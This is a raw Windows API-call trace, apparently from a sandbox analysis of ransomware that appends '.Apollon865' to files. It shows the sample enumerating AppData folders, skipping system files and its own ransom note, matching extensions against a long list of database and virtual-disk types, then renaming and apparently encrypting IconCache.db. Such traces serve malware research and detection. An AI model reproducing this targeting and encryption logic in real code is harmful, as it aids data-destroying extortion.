	[0044.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0044.326] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf898
	[0044.326] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0044.326] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="Apollon865.txt.exe") returned 1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2=".") returned 1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="..") returned 1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="windows") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="bootmgr") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="temp") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="pagefile.sys") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="boot") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="ids.txt") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="ntuser.dat") returned -1
	[0044.326] lstrcmpiW (lpString1="Apps", lpString2="perflogs") returned -1
	[0044.327] lstrcmpiW (lpString1="Apps", lpString2="MSBuild") returned -1
	[0044.327] lstrlenW (lpString="Apps") returned 4
	[0044.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data") returned 60
	[0044.327] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Apps" | out: lpString1="Apps") returned="Apps"
	[0044.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0044.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x599bd8
	[0044.327] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0044.327] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="Apollon865.txt.exe") returned 1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2=".") returned 1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="..") returned 1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="windows") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="bootmgr") returned 1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="temp") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="pagefile.sys") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="boot") returned 1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="ids.txt") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="ntuser.dat") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="perflogs") returned -1
	[0044.327] lstrcmpiW (lpString1="Deployment", lpString2="MSBuild") returned -1
	[0044.327] lstrlenW (lpString="Deployment") returned 10
	[0044.327] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps") returned 48
	[0044.327] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Deployment" | out: lpString1="Deployment") returned="Deployment"
	[0044.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0044.327] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59a920
	[0044.327] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0044.327] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="Apollon865.txt.exe") returned 1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".") returned 1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="..") returned 1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="windows") returned -1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="bootmgr") returned 1
	[0044.327] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="temp") returned -1
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="pagefile.sys") returned -1
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="boot") returned 1
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="ids.txt") returned -1
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="ntuser.dat") returned -1
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="perflogs") returned -1
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2="MSBuild") returned -1
	[0044.328] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19
	[0044.328] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Deployment") returned 54
	[0044.328] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="GDIPFONTCACHEV1.DAT" | out: lpString1="GDIPFONTCACHEV1.DAT") returned="GDIPFONTCACHEV1.DAT"
	[0044.328] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19
	[0044.328] lstrlenW (lpString="Apollon865") returned 10
	[0044.328] lstrcmpiW (lpString1="ACHEV1.DAT", lpString2="Apollon865") returned -1
	[0044.328] lstrlenW (lpString=".dll") returned 4
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".dll") returned 1
	[0044.328] lstrlenW (lpString=".lnk") returned 4
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".lnk") returned 1
	[0044.328] lstrlenW (lpString=".ini") returned 4
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".ini") returned 1
	[0044.328] lstrlenW (lpString=".sys") returned 4
	[0044.328] lstrcmpiW (lpString1="GDIPFONTCACHEV1.DAT", lpString2=".sys") returned 1
	[0044.328] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19
	[0044.328] lstrlenW (lpString="bak") returned 3
	[0044.328] lstrcmpiW (lpString1="DAT", lpString2="bak") returned 1
	[0044.328] lstrlenW (lpString="ba_") returned 3
	[0044.328] lstrcmpiW (lpString1="DAT", lpString2="ba_") returned 1
	[0044.328] lstrlenW (lpString="dbb") returned 3
	[0044.328] lstrcmpiW (lpString1="DAT", lpString2="dbb") returned -1
	[0044.328] lstrlenW (lpString="vmdk") returned 4
	[0044.328] lstrcmpiW (lpString1=".DAT", lpString2="vmdk") returned -1
	[0044.328] lstrlenW (lpString="rar") returned 3
	[0044.328] lstrcmpiW (lpString1="DAT", lpString2="rar") returned -1
	[0044.328] lstrlenW (lpString="zip") returned 3
	[0044.328] lstrcmpiW (lpString1="DAT", lpString2="zip") returned -1
	[0044.328] lstrlenW (lpString="tgz") returned 3
	[0044.328] lstrcmpiW (lpString1="DAT", lpString2="tgz") returned -1
	[0044.329] lstrlenW (lpString="vbox") returned 4
	[0044.329] lstrcmpiW (lpString1=".DAT", lpString2="vbox") returned -1
	[0044.329] lstrlenW (lpString="vdi") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="vdi") returned -1
	[0044.329] lstrlenW (lpString="vhd") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="vhd") returned -1
	[0044.329] lstrlenW (lpString="vhdx") returned 4
	[0044.329] lstrcmpiW (lpString1=".DAT", lpString2="vhdx") returned -1
	[0044.329] lstrlenW (lpString="avhd") returned 4
	[0044.329] lstrcmpiW (lpString1=".DAT", lpString2="avhd") returned -1
	[0044.329] lstrlenW (lpString="db") returned 2
	[0044.329] lstrcmpiW (lpString1="AT", lpString2="db") returned -1
	[0044.329] lstrlenW (lpString="db2") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="db2") returned -1
	[0044.329] lstrlenW (lpString="db3") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="db3") returned -1
	[0044.329] lstrlenW (lpString="dbf") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="dbf") returned -1
	[0044.329] lstrlenW (lpString="mdf") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="mdf") returned -1
	[0044.329] lstrlenW (lpString="mdb") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="mdb") returned -1
	[0044.329] lstrlenW (lpString="sql") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="sql") returned -1
	[0044.329] lstrlenW (lpString="sqlite") returned 6
	[0044.329] lstrcmpiW (lpString1="V1.DAT", lpString2="sqlite") returned 1
	[0044.329] lstrlenW (lpString="sqlite3") returned 7
	[0044.329] lstrcmpiW (lpString1="EV1.DAT", lpString2="sqlite3") returned -1
	[0044.329] lstrlenW (lpString="sqlitedb") returned 8
	[0044.329] lstrcmpiW (lpString1="HEV1.DAT", lpString2="sqlitedb") returned -1
	[0044.329] lstrlenW (lpString="xml") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="xml") returned -1
	[0044.329] lstrlenW (lpString="$er") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="$er") returned 1
	[0044.329] lstrlenW (lpString="4dd") returned 3
	[0044.329] lstrcmpiW (lpString1="DAT", lpString2="4dd") returned 1
	[0044.330] lstrlenW (lpString="4dl") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="4dl") returned 1
	[0044.330] lstrlenW (lpString="^^^") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="^^^") returned 1
	[0044.330] lstrlenW (lpString="abs") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="abs") returned 1
	[0044.330] lstrlenW (lpString="abx") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="abx") returned 1
	[0044.330] lstrlenW (lpString="accdb") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accdb") returned -1
	[0044.330] lstrlenW (lpString="accdc") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accdc") returned -1
	[0044.330] lstrlenW (lpString="accde") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accde") returned -1
	[0044.330] lstrlenW (lpString="accdr") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accdr") returned -1
	[0044.330] lstrlenW (lpString="accdt") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accdt") returned -1
	[0044.330] lstrlenW (lpString="accdw") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accdw") returned -1
	[0044.330] lstrlenW (lpString="accft") returned 5
	[0044.330] lstrcmpiW (lpString1="1.DAT", lpString2="accft") returned -1
	[0044.330] lstrlenW (lpString="adb") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1
	[0044.330] lstrlenW (lpString="adb") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="adb") returned 1
	[0044.330] lstrlenW (lpString="ade") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="ade") returned 1
	[0044.330] lstrlenW (lpString="adf") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="adf") returned 1
	[0044.330] lstrlenW (lpString="adn") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="adn") returned 1
	[0044.330] lstrlenW (lpString="adp") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="adp") returned 1
	[0044.330] lstrlenW (lpString="alf") returned 3
	[0044.330] lstrcmpiW (lpString1="DAT", lpString2="alf") returned 1
	[0044.331] lstrlenW (lpString="ask") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="ask") returned 1
	[0044.331] lstrlenW (lpString="btr") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="btr") returned 1
	[0044.331] lstrlenW (lpString="cat") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="cat") returned 1
	[0044.331] lstrlenW (lpString="cdb") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="cdb") returned 1
	[0044.331] lstrlenW (lpString="ckp") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="ckp") returned 1
	[0044.331] lstrlenW (lpString="cma") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="cma") returned 1
	[0044.331] lstrlenW (lpString="cpd") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="cpd") returned 1
	[0044.331] lstrlenW (lpString="dacpac") returned 6
	[0044.331] lstrcmpiW (lpString1="V1.DAT", lpString2="dacpac") returned 1
	[0044.331] lstrlenW (lpString="dad") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="dad") returned 1
	[0044.331] lstrlenW (lpString="dadiagrams") returned 10
	[0044.331] lstrcmpiW (lpString1="ACHEV1.DAT", lpString2="dadiagrams") returned -1
	[0044.331] lstrlenW (lpString="daschema") returned 8
	[0044.331] lstrcmpiW (lpString1="HEV1.DAT", lpString2="daschema") returned 1
	[0044.331] lstrlenW (lpString="db-journal") returned 10
	[0044.331] lstrcmpiW (lpString1="ACHEV1.DAT", lpString2="db-journal") returned -1
	[0044.331] lstrlenW (lpString="db-shm") returned 6
	[0044.331] lstrcmpiW (lpString1="V1.DAT", lpString2="db-shm") returned 1
	[0044.331] lstrlenW (lpString="db-wal") returned 6
	[0044.331] lstrcmpiW (lpString1="V1.DAT", lpString2="db-wal") returned 1
	[0044.331] lstrlenW (lpString="dbc") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="dbc") returned -1
	[0044.331] lstrlenW (lpString="dbs") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="dbs") returned -1
	[0044.331] lstrlenW (lpString="dbt") returned 3
	[0044.331] lstrcmpiW (lpString1="DAT", lpString2="dbt") returned -1
	[0044.331] lstrlenW (lpString="dbv") returned 3
	[0044.332] lstrcmpiW (lpString1="DAT", lpString2="dbv") returned -1
	[0044.332] lstrlenW (lpString="dbx") returned 3
	[0044.332] lstrcmpiW (lpString1="DAT", lpString2="dbx") returned -1
	[0044.332] lstrlenW (lpString="dcb") returned 3
	[0044.332] lstrcmpiW (lpString1="DAT", lpString2="dcb") returned -1
	[0044.332] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Google" | out: lpString1="Google") returned="Google"
	[0044.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0044.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599c48
	[0044.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0044.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="Apollon865.txt.exe") returned 1
	[0044.332] lstrcmpiW (lpString1="History", lpString2=".") returned 1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="..") returned 1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="windows") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="bootmgr") returned 1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="temp") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="pagefile.sys") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="boot") returned 1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="ids.txt") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="ntuser.dat") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="perflogs") returned -1
	[0044.332] lstrcmpiW (lpString1="History", lpString2="MSBuild") returned -1
	[0044.332] lstrlenW (lpString="History") returned 7
	[0044.332] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google") returned 50
	[0044.332] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="History" | out: lpString1="History") returned="History"
	[0044.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0044.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599cb8
	[0044.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0044.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x303e8990, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x303e8990, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.332] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.332] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="Apollon865.txt.exe") returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2=".") returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="..") returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="windows") returned -1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="bootmgr") returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="temp") returned -1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="pagefile.sys") returned -1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="boot") returned 1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="ids.txt") returned -1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="ntuser.dat") returned -1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="perflogs") returned -1
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2="MSBuild") returned -1
	[0044.333] lstrlenW (lpString="IconCache.db") returned 12
	[0044.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\History") returned 51
	[0044.333] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="IconCache.db" | out: lpString1="IconCache.db") returned="IconCache.db"
	[0044.333] lstrlenW (lpString="IconCache.db") returned 12
	[0044.333] lstrlenW (lpString="Apollon865") returned 10
	[0044.333] lstrcmpiW (lpString1="onCache.db", lpString2="Apollon865") returned 1
	[0044.333] lstrlenW (lpString=".dll") returned 4
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2=".dll") returned 1
	[0044.333] lstrlenW (lpString=".lnk") returned 4
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2=".lnk") returned 1
	[0044.333] lstrlenW (lpString=".ini") returned 4
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2=".ini") returned 1
	[0044.333] lstrlenW (lpString=".sys") returned 4
	[0044.333] lstrcmpiW (lpString1="IconCache.db", lpString2=".sys") returned 1
	[0044.333] lstrlenW (lpString="IconCache.db") returned 12
	[0044.333] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.Apollon865") returned 67
	[0044.333] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.apollon865"), dwFlags=0x1) returned 1
	[0044.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\iconcache.db.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x148
	[0044.334] GetFileSizeEx (in: hFile=0x148, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1206133) returned 1
	[0044.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0044.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0044.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0044.335] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf568) returned 1
	[0044.335] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0044.335] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0044.335] CreateFileMappingW (hFile=0x148, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x126a80, lpName=0x0) returned 0x154
	[0044.335] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x126a80) returned 0x2a80000
	[0044.371] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf568) returned 1
	[0044.372] CryptGenRandom (in: hProv=0x5bf568, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0044.372] CryptReleaseContext (hProv=0x5bf568, dwFlags=0x0) returned 1
	[0044.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0044.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0044.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0044.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0044.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0044.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0044.372] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0044.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0044.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0044.372] UnmapViewOfFile (lpBaseAddress=0x2a80000) returned 1
	[0044.398] CloseHandle (hObject=0x154) returned 1
	[0044.398] CloseHandle (hObject=0x148) returned 1
	[0044.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0044.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0044.407] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0044.412] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x962f4540, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x962f4540, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="Apollon865.txt.exe") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1
